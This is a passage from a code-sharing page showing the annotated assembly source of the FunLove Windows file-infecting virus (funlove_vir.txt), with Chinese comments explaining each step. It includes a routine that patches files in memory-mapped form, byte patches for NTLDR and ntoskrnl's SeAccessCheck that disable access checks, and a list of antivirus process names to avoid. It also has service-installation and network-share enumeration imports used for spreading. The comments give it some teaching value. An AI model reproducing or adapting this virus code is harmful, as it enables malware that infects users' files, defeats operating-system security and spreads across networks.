📄 funlove_vir.txt
字号:
p_PatchAddr : DWORD, \得到补丁地址;
p_PatchSize : DWORD 得到循环的次数,这里是要修改的指令的字符串的长度;
LOCAL p_FileHandle : DWORD, \定义本地变量,存放文件句柄;
p_FileSize : DWORD, \定义本地变量,存放文件大小;
p_MapHandle : DWORD \定义本地变量,存放内存映射文件句柄;
USES esi,edi;保存esi,edi,本过程结束后自动恢复;
push p_Filename ----|
push 03 |
call OpenFile ------|判断文件是否存在;
cmp eax,-1 ---------|
jz short PA_Exit----|不存在就退出;
mov p_FileHandle,eax;保存句柄;
push 00-------------|
push eax |
call GetFileSize----|得到文件大小;
mov p_FileSize,eax;保存文件大小;
push p_FileHandle---|
push eax |
call MapFile--------|建立内存映射文件;
or eax,eax
jz short PA_CloseFile;失败,则跳转关闭文件;
mov p_MapHandle,eax;保存内存映射文件句柄;
push eax -------|
call ViewMap----|映射内存对象;
or eax,eax ------------|
jz short PA_CloseMap---|失败则关闭内存映射文件;
mov edx,eax;成功,保存句柄;
mov edi,eax;保存文件在内存中的起地址;
mov esi,p_PatchAddr;把补丁字符串的首地址给esi,为下面的比较做准备;
mov ecx,p_FileSize;得到文件大下,为下面的循环比较做准备;
PA_00:
push ecx;压栈保存循环次数;
push esi;压栈保存补丁字符串地址;
push edi;文件在内存中的地址入栈;
mov ecx,p_PatchSize;补丁大小入栈,这里是内层循环的次数;
repz cmpsb;比较,5个一组;
pop edi
pop esi
pop ecx
jz short PA_01;找到了,则修改;
inc edi;没找到,edi加1,在内存中后移一位
loop PA_00;继续寻找,ecx减1;
jmp short PA_Unmap;如果循环结束都没有找到,就去pa_unmap,做清理工作;
PA_01:
mov ecx,p_PatchSize----------|
add esi,ecx |
repz movsb -----------------|打补丁了
PA_Unmap:
push edx ;开始保存的内存映射文件的句柄可以起作用了;
call UnmapViewOfFile;在当前应用程序的内存地址空间解除映射
PA_CloseMap:
push p_MapHandle;关闭一个内核对象(除非该对象的所有引用都已关闭否则对象不
call CloseHandle;会被实际删除;
PA_CloseFile:
push p_FileHandle;关闭文件对象;
call CloseHandle;
PA_Exit:
ret
PatchFile ENDP
; ------------------------------------------------------------------------- ;
; --------------------------- Minor Routines -------------------------- ;
; ------------------------------------------------------------------------- ;
GetVS:
call $ + 5
pop ebx
sub ebx,offset GetVS + 5 - VStart
ret
; ------------------------------------------------------------------------- ;
; ------------------------------------------------------------------------- ;
RelocKernel32 PROC PASCAL NEAR
ARG r_Kernel32 : DWORD ;把开始压入的值,弹出给变量,即是,kernel32的返回地址;
push r_Kernel32 ;压栈,用堆栈传递参数给下面的调用;
call Whereis_GPA ;定位getprocaddress的地址,找到了它后面的其他的api就
办了;
or eax,eax ; eax里面是whereis_gpa执行后的值,当前值为kernel32的基地址;
jz short RK_00;判断是否成功,失败退出
push eax ;压栈eax,以堆栈传值给先面的dll_relocate过程;
lea esi,[Kernel32_Functions @] ;把api的名字字符串的首 地址传入esi,为下面的查找api地址做准备;
push esi
call DLL_Relocate ;开始查找api,获取api的地址;
RK_00:
ret ;返回;
RelocKernel32 ENDP
; ------------------------------------------------------------------------- ;
; ------------------------------------------------------------------------- ;
RelocAdvapi32 PROC NEAR
lea eax,[ADVAPI32_Name @];取得高级api的名字字符串的地址;
push eax ;压栈
call LoadLibraryA;通过loadlibrary加载advapi32.dll
or eax,eax------|
jz short RA_00--|失败就退出;
push eax-----------------------------|这里的eax是加载后的dll的地址,搜索api |要用的到
lea esi,[ADVAPI32_Functions @] |
push esi |
call DLL_Relocate--------------------|成功就开始搜索advapi32里面的高级api的 地址
RA_00:
ret
RelocAdvapi32 ENDP
; ------------------------------------------------------------------------- ;
; ------------------------------------------------------------------------- ;
OpenFile PROC PASCAL NEAR
ARG o_Filename : DWORD, \从堆栈得到文件名;
o_OpenMode : DWORD 从堆栈的到打开方式;
push 20 --------|
push o_Filename |
call SetFileAttributesA-----|设置文件的属性;
push 00---------------------|
push 80 |
push o_OpenMode |
push 00 |
push 00 |
push 0C0000000 |
push o_Filename |
call CreateFileA------------|打开一个文件,以读写的方式;
ret
OpenFile ENDP
; ------------------------------------------------------------------------- ;
; ------------------------------------------------------------------------- ;
MapFile PROC PASCAL NEAR
ARG m_FileHandle : DWORD, \从堆栈取得文件句柄;
m_FileSize : DWORD 从堆栈取得文件的大小;
push 00-----------------|
push m_FileSize |
push 00 |
push 04 |
push 00 |
push m_FileHandle |
call CreateFileMappingA-|建立内存映射文件,以传递的参数的大小建立;
ret
MapFile ENDP
; ------------------------------------------------------------------------- ;
; ------------------------------------------------------------------------- ;
ViewMap PROC PASCAL NEAR
ARG v_MapHandle : DWORD ;得到内存映射文件句柄;
push 00--------------|
push 00 |
push 00 |
push 02 |
push v_MapHandle |
call MapViewOfFile---|将文件映射对象映射到本程序的地址空间;
ret
ViewMap ENDP
; ------------------------------------------------------------------------- ;
; ------------------------------------------------------------------------- ;
Wait_A_Little PROC NEAR
call GetTickCount---|
sub eax,[Tick @]---|取得当前的时间在和开始保存的比较看是否超过4秒了
cmp eax,4*1000d----|
jc short WAL_00---|没有就继续感染文件;
push 16d*1000d-------|
call Sleep-----------|超过了4秒了,就可是睡眠16秒;
call GetTickCount----|
mov [Tick @],eax----|把睡眠后的时间当作下次比较的标准保存在tick中
WAL_00:
ret
Wait_A_Little ENDP
; ------------------------------------------------------------------------- ;
; ------------------------------------------------------------------------- ;
GetRand PROC NEAR
push ecx
push edx
mov eax,[Rand @]
xor edx,edx
mov ecx,7FFFFFFF
mul ecx
inc eax
mov ecx,0FFFFFFFBh
div ecx
mov eax,edx
mov [Rand @],eax
pop edx
pop ecx
ret
GetRand ENDP
; ------------------------------------------------------------------------- ;
; -------------------------- INITIALIZED DATA ------------------------- ;
; ------------------------------------------------------------------------- ;
HostCode db 8 dup (?)
GPA_Sigs:
W9x db 0C2,04,00,57,6A,22,2Bh,0D2
NT4 db 0C2,04,00,55,8Bh,4C,24,0C
W2K db 00F,00,00,55,8Bh,0ECh,51,51
NTLDR db ‘NTLDR‘,0
NT4_NTLDR db 3Bh,46,58,74,07 ; signature (file check)
db 3Bh,46,58,0EBh,07 ; patch
W2K_NTLDR db 3Bh,47,58,74,07
db 3Bh,47,58,0EBh,07
NTOSKRNL db ‘WINNT\System32\ntoskrnl.exe‘,0
NT4_NTOSKRNL db 8A,0C3,5F,5E,5Bh,5Dh,0C2,28,00 ; SeAccessCheck
db 0B0,01,5F,5E,5Bh,5Dh,0C2,28,00
W2K_NTOSKRNL db 8A,45,14,5F,5E,5Bh,5Dh,0C2,28
db 0B0,01,90,5F,5E,5Bh,5Dh,0C2,28
SkipNames:
dd 139D7300h ; aler
dd 0F977200h ; amon
dd 118E7E1Eh ; _avp
dd 52886900h ; avp3
dd 0C886900h ; avpm
dd 13883207h ; f-pr
dd 168E7E0Fh ; navw
dd 0F997C12h ; scan
dd 128B7212h ; smss
dd 04907B05h ; ddhe
dd 00946F05h ; dpla
dd 00946F0Ch ; mpla
Process db ‘flcss.exe‘,0
Service db ‘FLC‘,0
; Minimal Import Section
VImports:
dd offset Kernel32_Pointers + I
dd -1,-1
dd offset Kernel32_Name + I
dd offset Kernel32_Relocated + I
db 14 dup (0)
Kernel32_Pointers dd offset Kernel32_Beep + I, 0
Kernel32_Relocated dd offset Kernel32_Beep + I, 0
Kernel32_Beep db ?,?,‘Beep‘,0
; Virus Imports
Kernel32_Name db ‘KERNEL32.dll‘,0
Kernel32_Functions:
CloseHandle: db 0B8,?,?,?,?,0FF,0E0,‘CloseHandle‘,0
CreateFileA: db 0B8,?,?,?,?,0FF,0E0,‘CreateFileA‘,0
CreateFileMappingA: db 0B8,?,?,?,?,0FF,0E0,‘CreateFileMappingA‘,0
CreateProcessA: db 0B8,?,?,?,?,0FF,0E0,‘CreateProcessA‘,0
CreateThread: db 0B8,?,?,?,?,0FF,0E0,‘CreateThread‘,0
FindFirstFileA: db 0B8,?,?,?,?,0FF,0E0,‘FindFirstFileA‘,0
FindNextFileA: db 0B8,?,?,?,?,0FF,0E0,‘FindNextFileA‘,0
FindClose: db 0B8,?,?,?,?,0FF,0E0,‘FindClose‘,0
GetCurrentProcessId: db 0B8,?,?,?,?,0FF,0E0,‘GetCurrentProcessId‘,0
GetDriveTypeA: db 0B8,?,?,?,?,0FF,0E0,‘GetDriveTypeA‘,0
GetFileSize: db 0B8,?,?,?,?,0FF,0E0,‘GetFileSize‘,0
GetProcAddress: db 0B8,?,?,?,?,0FF,0E0,‘GetProcAddress‘,0
GetTickCount: db 0B8,?,?,?,?,0FF,0E0,‘GetTickCount‘,0
GetSystemDirectoryA: db 0B8,?,?,?,?,0FF,0E0,‘GetSystemDirectoryA‘,0
LoadLibraryA: db 0B8,?,?,?,?,0FF,0E0,‘LoadLibraryA‘,0
MapViewOfFile: db 0B8,?,?,?,?,0FF,0E0,‘MapViewOfFile‘,0
ReadFile: db 0B8,?,?,?,?,0FF,0E0,‘ReadFile‘,0
SetFileAttributesA: db 0B8,?,?,?,?,0FF,0E0,‘SetFileAttributesA‘,0
SetFileTime: db 0B8,?,?,?,?,0FF,0E0,‘SetFileTime‘,0
Sleep: db 0B8,?,?,?,?,0FF,0E0,‘Sleep‘,0
UnmapViewOfFile: db 0B8,?,?,?,?,0FF,0E0,‘UnmapViewOfFile‘,0
VirtualAlloc: db 0B8,?,?,?,?,0FF,0E0,‘VirtualAlloc‘,0
VirtualFree: db 0B8,?,?,?,?,0FF,0E0,‘VirtualFree‘,0
WriteFile: db 0B8,?,?,?,?,0FF,0E0,‘WriteFile‘,0
; this function does only exist under Win9x
db 0
RegisterServiceProcess: db 0B8,?,?,?,?,0FF,0E0,‘RegisterServiceProcess‘,0
USER32_Name db ‘USER32.dll‘,0
RegisterClassA: db 0B8,?,?,?,?,0FF,0E0,‘RegisterClassA‘,0
ADVAPI32_Name db ‘ADVAPI32.dll‘,0
ADVAPI32_Functions:
OpenSCManagerA: db 0B8,?,?,?,?,0FF,0E0,‘OpenSCManagerA‘,0
OpenServiceA: db 0B8,?,?,?,?,0FF,0E0,‘OpenServiceA‘,0
CreateServiceA: db 0B8,?,?,?,?,0FF,0E0,‘CreateServiceA‘,0
StartServiceA: db 0B8,?,?,?,?,0FF,0E0,‘StartServiceA‘,0
StartServiceCtrlDispatcherA: db 0B8,?,?,?,?,0FF,0E0,‘StartServiceCtrlDispatcherA‘,0
RegisterServiceCtrlHandlerA: db 0B8,?,?,?,?,0FF,0E0,‘RegisterServiceCtrlHandlerA‘,0
SetServiceStatus: db 0B8,?,?,?,?,0FF,0E0,‘SetServiceStatus‘,0
MPR_Name db ‘MPR.dll‘,0
MPR_Functions:
WNetOpenEnumA: db 0B8,?,?,?,?,0FF,0E0,‘WNetOpenEnumA‘,0
WNetEnumResourceA: db 0B8,?,?,?,?,0FF,0E0,‘WNetEnumResourceA‘,0
WNetCloseEnum: db 0B8,?,?,?,?,0FF,0E0,‘WNetCloseEnum‘,0
VEnd:
; ------------------------------------------------------------------------- ;
; ------------------------- UNINITIALIZED DATA ------------------------ ;
; ------------------------------------------------------------------------- ;
Kernel32_Base dd ?
Rand dd ?
Tick dd ?
OS db ?
ALIGN 100
Buffer1 db 200 dup (0) ; Current Directory
Buffer2 db 200 dup (?) ; Search Buffer
Buffer3 db 2000 dup (?) ; Read Buffer
VSize equ offset VEnd - VStart
Phys_VSize equ 1000
Virt_VSize equ 4000
CODE ENDS
END main
原作者: Jackhy/CVC.GB
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -